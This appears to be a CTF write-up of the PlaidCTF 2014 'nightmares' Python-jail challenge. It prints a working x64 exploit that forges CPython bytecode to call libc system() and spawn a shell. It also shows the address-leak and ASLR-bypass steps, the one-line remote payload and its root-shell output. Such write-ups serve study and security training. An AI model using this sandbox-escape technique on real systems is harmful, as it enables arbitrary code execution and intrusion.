PlaidCTF 2014 __nightmares__ writeup

The Plague is building an army of evil hackers, and they are starting off by teaching them python with this simple service. Maybe if you could get full access to this system, at, you would be able to find out more about The Plague’s evil plans.


Spoiler Inside SelectShow

(can be run locally with $ socat TCP4-listen:9990,reuseaddr,fork EXEC:./

This challenge is of classic style – breaking the python jail. Since importing is blocked by another thread, it seems there’s no way to break it using pure python tricks – we need to go binary. The only thing we have – is stdout. Luckily, we can use it’s __class__ attribute to get <type file> and so read arbitrary files:

Get a shell. The flag is NOT in ./key, ./flag, etc.

A nice thing is that we can write directly to process memory using /proc/self/mem file and file‘s .seek method. Using this trick, we can easily overwrite some pointer in memory with system@libc address (libc base can be retrieved from reading /proc/self/maps) and call it.

But we’ve missed this ability and went another way. There’s nice PoC by @0vercl0k of executing arbitrary shellcode in python abusing python VM instructions.

But there are some problems: it’s for x86 (but challenge is running on x64 server) and PoC simply jumps to shellcode (but we don’t have rwx memory). Luckily, the first one is easily solved by changing some numeric parameters. The second problem is solved too – we can jump directly to system, hoping for controlled argument to be passed.

Here’s PoC for x64 python:

padding_size = 36
first_indirection = 'A' * 128 + pack_uint(addr_system)
addr_first_indirection = id(first_indirection)
addr_first_indirection_controled_data = addr_first_indirection + padding_size
fake_object = '1; sh;'.ljust(8, " ") + pack_uint(addr_first_indirection_controled_data)
addr_fake_object = id(fake_object)
addr_fake_object_controled = addr_fake_object + padding_size
xxx = struct.pack("<Q", addr_fake_object_controled)
ptr_object = "CCCC" + xxx
addr_ptr_object = id(ptr_object)
addr_ptr_data_controled = addr_ptr_object + padding_size
const_tuple = ()
addr_const_tuple = id(const_tuple)
offset = ((addr_ptr_data_controled - addr_const_tuple - 0x14)) / 8
print "offset", hex(offset)
offset %= 1 << 32
offset_high, offset_low = offset >> 16, offset & 0xffff
evil_bytecode = get_opcode('EXTENDED_ARG') + pack_ushort(offset_high)
evil_bytecode += get_opcode('LOAD_CONST') + pack_ushort(offset_low)
evil_bytecode += get_opcode('CALL_FUNCTION') + '\x00\x00'
pull_the_trigger_b1tch.func_code = types.CodeType(0, 0, 0, 0, evil_bytecode, const_tuple, (), (), "", "", 0, "")

This is local version with all python builtins enabled.

For remote jailed one, we need to:

  • output memory maps and parse them on client side to defeat ASLR
  • somehow get addresses of objects – we can use object.__repr__("somestr") to get it printed as <str object at 0x338a5f8>; thus, leaking it’s address. We have no access to “object” type, but this is easily tricked with ().__class__.__bases__[0]
  • we need to store our strings somewhere in variables (to avoid early garbage collecting them). Using subclasses of object, I picked random class with attribute write access. It was threading._Verbose type with 102 index in subclasses list:
Get a shell. The flag is NOT in ./key, ./flag, etc.
<class 'threading._Verbose'>

So this object can be used as persistent storage for our strings. That’s everything that we need!

$ py 
system addr is at 0x7fc5a88f33d0
buf1 0x7fc5a9876ed4
buf2 0x7fc5a998b5f4
buf3 0x7fc5a998b504
offset 0x4495
1; trigger = lambda: None; trigger.func_code = ().__class__.__bases__[0].__subclasses__()[108].code_type(0, 0, 0, 0, '\x91\x00\x00d\x95D\x83\x00\x00', ().__class__.__bases__[0].__subclasses__()[108].tup, (), (), '', '', 0, ''); trigger();
 id; cd /home/nightmares_owner/; ./give_me_the_flag.exe
uid=0(root) gid=0(root) groups=0(root)
<flag was here>

Leave a Reply

Your email address will not be published.